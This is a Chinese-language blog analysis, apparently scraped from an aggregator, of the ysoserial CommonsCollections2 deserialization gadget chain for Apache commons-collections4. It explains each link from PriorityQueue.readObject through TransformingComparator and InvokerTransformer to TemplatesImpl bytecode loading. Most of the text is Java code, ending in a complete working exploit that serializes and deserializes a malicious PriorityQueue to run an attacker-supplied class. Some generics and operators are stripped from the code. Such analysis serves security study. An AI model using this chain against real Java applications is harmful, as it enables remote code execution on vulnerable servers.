本篇文章为你整理了ysoserial CommonsCollections2 分析()的详细内容,包含有procedure of stylistic analysis ysoserial CommonsCollections2 分析,希望能帮助你了解 ysoserial CommonsCollections2 分析。
在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化。
已知的TemplatesImpl- newTransformer()是最终要执行的。
TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一、二部分。
TemplatesImpl- newTransformer()的调用通过InvokerTransformer.transform()反射机制实现,这里可以看ysoserial CommonsCollections1 分析中的前半部分内容。
cc2是针对commons-collections4版本,利用链如下:
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
所以在InvokerTransformer.transform()之后的利用如下:
public class CC2Test2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
byte[][] codes = {code};
//给_bytecodes赋值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl类型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
transformer.transform(templates);
一、InvokerTransformer.transform()的调用
TransformingComparator的compare,实现了对属性this.transformer的transform调用,这里可以通过TransformingComparator构造方法为该属性赋值。
public class TransformingComparator I, O implements Comparator I , Serializable {
private static final long serialVersionUID = 3456940356043606220L;
private final Comparator O decorated;
private final Transformer ? super I, ? extends O transformer;
public TransformingComparator(Transformer ? super I, ? extends O transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
public TransformingComparator(Transformer ? super I, ? extends O transformer, Comparator O decorated) {
this.decorated = decorated;
this.transformer = transformer;
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
通过compare的调用
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(null,templates);
二、TransformingComparator.compare()的调用
PriorityQueue类中的readobject()调用了heapify(),heapify()中调用了siftDown(),siftDown()调用了siftDownUsingComparator(),siftDownUsingComparator()方法实现了comparator.compare()调用。
那么只要将transformingComparator对象赋值给comparator,可以通过反射,也可以通过构造方法,这里通过构造方法,且initialCapacity不能小于1。
public PriorityQueue(int initialCapacity,
Comparator ? super E comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
由于comparator.compare()中的参数来自queue,所以需要将templates赋值给queue。
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
PriorityQueue Object priorityQueue = new PriorityQueue Object (2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(templates);
但是由于在priorityQueue.add()方法中会调用siftUp()- siftUpUsingComparator()- comparator.compare()。
priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错,另外使用templates作为参数,又会导致在序列化过程构造恶意对象的时候得到执行。所以这里先用toString()方法代替,后通过反射方式修改this.iMethodName属性。
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue Object priorityQueue = new PriorityQueue Object (2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
三、queue属性赋值
transient queue无法序列化,但在PriorityQueue的writeobject()、readobject中对queue做了重写,实现序列化和反序列化。
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
for (int i = 0; i size; i++)
s.writeObject(queue[i]);
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
for (int i = 0; i size; i++)
queue[i] = s.readObject();
heapify();
通过反射修改queues[0],利用如下:
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue Object priorityQueue = new PriorityQueue Object (2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
//这里得替换queues[0]
//如果queues[0]依旧保留使用Integer,会因为无法找到newTransformer报错。
最终完整利用实现:
public class CC2Test2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
byte[][] codes = {code};
//给_bytecodes赋值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl类型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue Object priorityQueue = new PriorityQueue Object (2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));
objectOutputStream.writeObject(priorityQueue);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));
objectInputStream.readObject();
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